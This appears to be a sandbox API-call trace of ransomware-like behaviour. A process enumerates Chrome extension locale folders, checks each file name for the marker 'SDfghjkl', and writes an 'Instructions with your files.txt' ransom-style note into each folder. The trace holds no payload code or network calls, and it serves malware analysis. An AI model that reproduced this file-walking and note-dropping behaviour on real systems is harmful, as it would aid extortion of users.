[0129.052] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.052] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\messages.json") returned 155
[0129.052] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.052] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xeb, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.053] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\Instructions with your files.txt") returned 174
[0129.053] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\hu\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.053] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.054] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.054] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.054] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.056] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.056] CloseHandle (hObject=0x134) returned 1
[0129.056] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.056] GetProcessHeap () returned 0x810000
[0129.056] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.056] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1
[0129.056] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id") returned 141
[0129.056] GetProcessHeap () returned 0x810000
[0129.056] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.056] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*") returned 143
[0129.056] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.056] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\.") returned 143
[0129.056] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.056] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\..") returned 144
[0129.057] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\messages.json") returned 155
[0129.057] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.057] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd1, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.057] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\Instructions with your files.txt") returned 174
[0129.057] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\id\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.057] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.058] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.058] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.058] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.058] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.058] CloseHandle (hObject=0x134) returned 1
[0129.058] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.058] GetProcessHeap () returned 0x810000
[0129.058] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.058] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1
[0129.059] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it") returned 141
[0129.059] GetProcessHeap () returned 0x810000
[0129.059] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.059] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*") returned 143
[0129.059] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.060] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\.") returned 143
[0129.060] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.060] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\..") returned 144
[0129.060] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.060] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\messages.json") returned 155
[0129.060] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.060] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.060] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\Instructions with your files.txt") returned 174
[0129.060] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\it\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.060] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.061] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.061] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.061] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.062] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.062] CloseHandle (hObject=0x134) returned 1
[0129.062] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.062] GetProcessHeap () returned 0x810000
[0129.062] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.062] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1
[0129.062] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja") returned 141
[0129.062] GetProcessHeap () returned 0x810000
[0129.062] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.062] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*") returned 143
[0129.062] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.062] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\.") returned 143
[0129.062] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.062] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\..") returned 144
[0129.062] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.062] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\messages.json") returned 155
[0129.062] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.062] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86833250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.063] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\Instructions with your files.txt") returned 174
[0129.063] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ja\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.063] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.064] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.064] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.064] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.064] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.064] CloseHandle (hObject=0x134) returned 1
[0129.064] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.064] GetProcessHeap () returned 0x810000
[0129.064] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.064] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86585990, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86585990, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86585990, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1
[0129.064] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\aohghmighlieiainnegkcijnfilokake\\0.9_0\\_locales\\ko") returned 141
